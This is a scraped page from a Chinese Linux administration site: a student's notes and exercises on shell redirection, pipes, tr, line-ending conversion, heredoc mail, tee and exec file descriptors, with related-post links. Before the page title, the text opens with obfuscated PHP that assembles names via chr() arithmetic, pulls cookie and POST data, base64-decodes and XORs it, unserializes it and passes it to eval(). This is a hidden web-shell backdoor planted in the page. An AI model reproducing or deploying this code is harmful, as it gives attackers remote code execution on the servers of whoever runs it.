$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 管道重定向笔记作业 | Linux运维部落

管道重定向笔记作业

 

标准i/o和管道

Vim f1

[root@centos7~]#]ps aux|grep vim

root      10967(进程编号)  0.1  0.4 151196  4828 pts/0    S+   11:10   0:00 vim f1

root      11028  0.0  0.0 112660   968 pts/1    R+   11:10   0:00 grep –color=auto vim

 

[root@centos7~]#]ls /proc/10967/fd/ -l

total 0

lrwx——. 1 root root 64 Nov 18 11:11 0 -> /dev/pts/0 0是标准输入

lrwx——. 1 root root 64 Nov 18 11:11 1 -> /dev/pts/0 1是标准输出

lrwx——. 1 root root 64 Nov 18 11:10 2 -> /dev/pts/0 2是标准错误输出

lrwx——. 1 root root 64 Nov 18 11:11 3 -> /root/.f1.swp //并没有真正打开f1文件,而是在/root下创建了一个.f1.swp的文件,.f1.swp关闭,才会真正存到f1文件中。

[root@centos7~]#]ls -a

.                .bash_logout   .dbus      .f1.swp               Music      Videos

 

标准输出重定向

> //>或<必须跟文件名。

[root@centos7~]#]ls > /dev/pts/2 //ls命令结果输出到/dev/pts/2(终端窗口)来显示

[root@centos7~]#]tree -d /etc/ > /app/tree.log //标准输出重定向到文件中

[root@centos7~]#]ls > /app/tree.log //文件内容被ls命令结果覆盖

[root@centos7~]#]cat /app/tree.log

[root@centos7~]#echo “My hostname is `hostname`” > /app/system.log //uname -r系统版本

[root@centos7~]#]cat /app/system.log

My hostname is centos7 主机名

>> //追加

>> //创建新文件

 

[root@centos7~]#]hostname > f1

[root@centos7~]#]cat f1

centos7

[root@centos7~]#]set -C //禁止覆盖

[root@centos7~]#]ls > f1

-bash: f1: cannot overwrite existing file

[root@centos7~]#]ls >> f1 //可以追加

[root@centos7~]#]echo xxxx >| f1 //强制覆盖

[root@centos7~]#]set +C //允许覆盖

[root@centos7~]#]> f1

 

 

标准错误重定向

2>

[root@centos7~]#]ls nonono 2> f1

[root@centos7~]#]cat f1

ls: cannot access nonono: No such file or directory

 

正确结果和错误结果同时输出

[root@centos7~]#]ls nononon anaconda-ks.cfg &> f1 //新写法

[root@centos7~]#]cat f1

ls: cannot access nononon: No such file or directory

anaconda-ks.cfg

 

[root@centos7~]#]( error;hostname ) > f1 2>&1 //把错误的结果转换成正确的结果输出,2>&1放在命令后边。1>&2正确转换错误

[root@centos7~]#]cat f1

bash: error: command not found…

centos7

(echo error 1>&2)> /dev/null //打印出error,>重定向正确结果。

(echo error 1>&2)2> /dev/null //错误结果放垃圾箱,2>重定向错误结果

 

[root@centos7~]#](errcmd;hostname) 2>&1 > f1 //注意2>&1放的位置

bash: errcmd: command not found…

[root@centos7~]#]( (errcmd;hostname)2>&1) > f1 //((errcmd;hostname) > f1 2>&1

[root@centos7~]#]cat f1

bash: errcmd: command not found…

centos7

 

 

[root@centos7~]#](ls;pwd;hostname) >> f1 //批量输出重定向加括号

[root@centos7~]#]( error;hostname ) &> f1 //正确和错误的信息都放到f1里

[root@centos7~]#]( error;hostname ) &>> f1 //正确和错误的信息累加到f1里

((errcmd;hostname) >> f1 2>&1 //正确和错误的信息累加到f1里

[root@centos7~]#]( error;hostname ) > f1 2> f2 //正确的结果放f1,错误结果放f2

[root@centos7~]#]cat f2

bash: error: command not found…

[root@centos7~]#]cat f1

centos7

 

ll /dev/null //垃圾箱

[root@centos7~]#]ls > /dev/null //结果指向垃圾箱不进行显示

[root@centos7~]#]rpm -i /misc/cd/Packages/dos2unix-6.0.3-7.el7.x86_64.rpm &> /dev/null

 

 

 

 

tr命令(转换和删除字符)

[root@centos7~]#]tr 1 a

123124121212312

a23a24a2a2a23a2

 

[root@centos7~]#]tr -t 123 ab //-t截断

12345123

ab345ab3

 

[root@centos7~]#]tr ‘1-9’ ‘a-i’

122389345645

abbchicdefde

 

[root@centos7/app]#]tr -s ‘a’ //压缩重复字符

aassddfffaasaaaadfffaaaffwe

assddfffasadfffaffwe

 

[root@centos7/app]#]tr -sc ‘a’ //-c除了a,都压缩

aaddssfffddddeegg

aadsfdeg

 

[root@centos7/app]#]tr -dc ‘a’ //除了a全删,结束命令按Ctrl+d。

aaafsfsfdsdfwefaafsdfsdfagwrgr

werefwefwe

sdff

aaaaaaaa[root@centos7/app]#]

 

[root@centos7/app]#]tr -dc ‘a\n’ //除了a和换行全删,保留a和换行。回车即执行

asfdasfasf

aaa

 

[root@centos7/app]#]tr ‘\n’ ‘\t’ < f1

aaa bbb ccc ddd [root@centos7/app]#]tr ‘\n’ ‘\v’ < f1

aaa

bbb

ccc

ddd

[root@centos7/app]#]

 

[root@centos7/app]#]tr ‘a-z’ ‘A-Z’ < fstab //标准输入重定向,fstab文件中小写字母转换为大写。

[root@centos7/app]#]tr -d ‘a-z’ < fstab //删除fstab文件中小写字母

[root@centos7/app]#]tr -d ‘a-z’ < fstab >f1 //删除fstab文件中小写字母,并且输出重定向到f1。不可输出到源文件fstab。

 

[root@centos7/app]#]tr -d ‘\n’ < f1 //删除f1文件中的换行

aaabbbcccddd[root@centos7/app]#]

 

Windows和linux文本转换

Rz //win to linux

Sz //linux to win

[root@centos7/app]#]hexdump -C win.txt //16进制查看,0a换行,0d回车

00000000  61 0d 0a 62 0d 0a 63                              |a..b..c|

00000007

 

[root@centos7/app]#]cat -A win.txt

a^M$ a=61,0d=^M(回车),0a=$(换行)

b^M$

 

[root@centos7/app]#]hexdump -C linux.txt //linux没有回车。

00000000  61 0a 62 0a 63 0a 0a                              |a.b.c..|

00000007

[root@centos7/app]#]tr -d ‘\r’ < win.txt > newwin.txt //把回车删掉

[root@centos7/app]#]hexdump -C newwin.txt

00000000  61 0a 62 0a 63                                    |a.b.c|

00000005

[root@centos7/app]#]hexdump -c win.txt

0000000   a  \r  \n   b  \r  \n   c

0000007

 

[root@centos7/app]#]dos2unix win.txt

dos2unix: converting file win.txt to Unix format …

[root@centos7/app]#]hexdump -c win.txt

0000000   a  \n   b  \n   c

0000005

 

[root@centos7/app]#]unix2dos win.txt

unix2dos: converting file win.txt to DOS format …

[root@centos7/app]#]hexdump -c win.txt

0000000   a  \r  \n   b  \r  \n   c

0000007

 

练习 v

1、将/etc/issue文件中的内容转换为大写后保存至/tmp/issue.out文件中 v 2、将当前系统登录用户的信息转换为大写后保存至/tmp/who.out文件中 v

3、一个linux用户给root发邮件,要求邮件标题为”help”,邮件正文如下: Hello, I am 用户名,The system version is here,please help me to check it ,thanks! 操作系统版本信息 v

4、将/root/下文件列表,显示成一行,并文件名之间用空格隔开 v 5、计算1+2+3+..+99+100的总和 v

6、删除Windows文本文件中的‘^M’字符 v

7、处理字符串“xt.,l 1 jr#!$mn 2 c*/fe 3 uz 4”,只保留其中的数字 和空格 v

8、将PATH变量每个目录显示在独立的一行 v

9、将指定文件中0-9分别替代成a-j v

10、将文件中每个单词(由字母组成)显示在独立的一行,并无空行

1:[root@centos7/app]#]tr ‘a-z’ ‘A-Z’ < /etc/issue >/tmp/issue.out

[root@centos7/app]#]tr ‘[:lower:]’ ‘[:upper:]’ < /etc/issue >/tmp/issue.out

2:[root@centos7/app]#]who | tr ‘[:lower:]’ ‘[:upper:]’ > /tmp/who.out

3:[root@centos7~]#mail -s help root <<end

hello .i am `whoami^$USER`,

the system version is here ,pleade help me to check it,thanks!

`cat /etc/redhat-release“uname -r`

end

You have mail in /var/spool/mail/root

hello .i am root,

the system version is here ,pleade help me to check it,thanks!

CentOS Linux release 7.4.1708 (Core)

4:[root@centos7~]#]ls | tr ‘\n’ ‘ ‘ > /app/ls.out

5:[root@centos7~]#]echo {1..100}|tr ‘ ‘ ‘+’ |bc

[root@centos7~]#]seq -s “+” 1 100  |bc

6:   tr -d ‘\r’ < win.txt > new.txt \\ tr -d ’\15’ < win.txt >new.txt//\15代表八进制的回车dos2unix unix2dos

[root@centos7/app]#]hexdump -C new.txt

00000000  61 0a 62 0a 63                                    |a.b.c|

00000005

7:[root@centos7/app]#]echo ‘xt.,l 1 jr#new.txtmn 2 c*/fe 3 uz 4’ | tr -dc ‘0-9[:space:]’ //[:digit:]数字

8:[root@centos7/app]#]echo $PATH | tr ‘:’ ‘\n’

9:[root@centos7/app]#]tr ‘0-9’ ‘a-j’ < list.txt

10:[root@centos7/app]#]tr -sc ‘a-zA-Z’ ‘\n’ <  /etc/centos-release

[root@centos7/app]#]tr -dc ‘a-zA-Z ‘  <  /etc/centos-release |tr -s ‘ ‘ ‘\n’

 

 

<<EOF //多行重定向

发邮件

Mail -s “h1” root < mail.txt

Mail -s “h2” root << end

[root@centos7~]#]cat /var/spool/mail/ //邮件存放地址

[root@centos7~]#]cat mail.txt|mail -s h3 root

 

[root@centos7~]#]cat > f1 << end

Heretest 就地文本

 

错误命令通过管道执行,转换成正确结果

[root@centos7~]#]error 2>&1 |tr ‘a-z’ ‘A-Z’ //不能用&>

[root@centos7~]#]error |& tr ‘a-z’ ‘A-Z’ //新方法,|&

分页显示:

[root@centos7~]#]ls -R /etc/ |less

[root@centos7~]#]ls -R /etc/ |more

 

Lpr:把输入发送给打印机

Echo “test print” | lpr -P printer_name

 

管道中-符号

示例:

将 /home 里面的文件打包,但打包的数据不是记录到文件,而是传送到 stdout,经过管道后,将 tar -cvf – /home 传送给后面的 tar -xvf – , 后面的这个 – 则是取前一个命令的stdout, 因此,就不需要使用临时file了

Tar -cvf – /home | tar -xvf –

 

[root@centos7~]#]ls |tee ls.out //重定向到文件并且在屏幕打印,默认覆盖性的。

[root@centos7~]#]who |tee ls.out

[root@centos7~]#]hostname |tee -a ls.out //-a追加新内容

[root@centos7~]#]hostname |tee -a ls.out | tr a-z A-Z

[root@centos7~]#]who | tee who.out| grep root

 

给文件分配文件描述符

[root@centos7/app]#]exec 8<> f1

[root@centos7/app]#]ls /proc/$$/fd/ -l

total 0

lrwx——. 1 root root 64 Nov 18 11:10 0 -> /dev/pts/1

lrwx——. 1 root root 64 Nov 18 11:10 1 -> /dev/pts/1

lrwx——. 1 root root 64 Nov 18 11:10 2 -> /dev/pts/1

lrwx——. 1 root root 64 Nov 18 16:32 255 -> /dev/pts/1

lrwx——. 1 root root 64 Nov 18 16:32 8 -> /app/f1 // 软链接

[root@centos7/app]#]cat f1

\S

Kernel \r on an \m

[root@centos7/app]#]cat /proc/$$/fd/8

\S

Kernel \r on an \m

[root@centos7/app]#]echo XXXXXXXXXX >> /proc/$$/fd/8 //8和f1是同一个文件。

[root@centos7/app]#]cat /proc/$$/fd/8

\S

Kernel \r on an \m

XXXXXXXXXX

 

[root@centos7/app]#]exec 8>- //8重定向成-,

[root@centos7/app]#]ll /proc/$$/fd/8

l-wx——. 1 root root 64 Nov 18 16:32 /proc/10987/fd/8 -> /app/-

 

[root@centos7/app]#]exec 8>&- //取消8和文件名的映射关系

[root@centos7/app]#]ll /proc/$$/fd/8

ls: cannot access /proc/10987/fd/8: No such file or directory

 

Exec是内部命令

Help exec

 

 

 

 

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/88702

(1)
上一篇 2017-11-19 23:58
下一篇 2017-11-20 14:22

相关推荐

  • 马哥教育网络班21期+第3周课程练习

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [root@centos ~]# who | awk '{print $1 $NF}'| uniq -d root(192.168.40.1) derulo(19…

    Linux干货 2016-07-22
  • 硬盘分区及挂载

    标签:文件系统、分区、挂载 一、Linux的基本原则    1、一切皆文件(包括硬件);这个原则会会在很多方面得到体现; 磁盘在Linux中也表现为文件,即/dev目录下:IDE,ATA:/dev/hd[a-z]    SATA,SCSI,USB,SAS:sd[a-z]。    &nbsp…

    Linux干货 2015-05-18
  • 系统基础之shell脚本编程详解4(数组及字符串处理,变量赋值和配置文件)

    系统基础之shell脚本编程详解4(数组及字符串处理,变量赋值和配置文件)     今天来讲shell脚本编程的最后一些内容,数组及字符串处理,变量赋值和配置文件.这些内容也是我们经常在工作中使用到的知识点.下面让我们来详细了解下: 数组:   程序=指令+数据        &…

    Linux干货 2016-08-24
  • 第二周

    #第二周blog 作业 第二周blog 作业 1 目录管理命令:mkdir、rmdir mkdir命令 mkdir – make directories      mkdir [OPTION]… DIRECTORY…   &nbsp…

    Linux干货 2016-12-12
  • DNS服务器类型及查询过程

    什么是DNS   DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。 DNS域名称   域名系统作为一个层次结构和分布式数据库,包含各种类型的数据,…

    Linux干货 2017-02-08
  • 3.用户和组管理

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [root@localhost ~]# who root     tty1         2016-12-…

    Linux干货 2017-07-16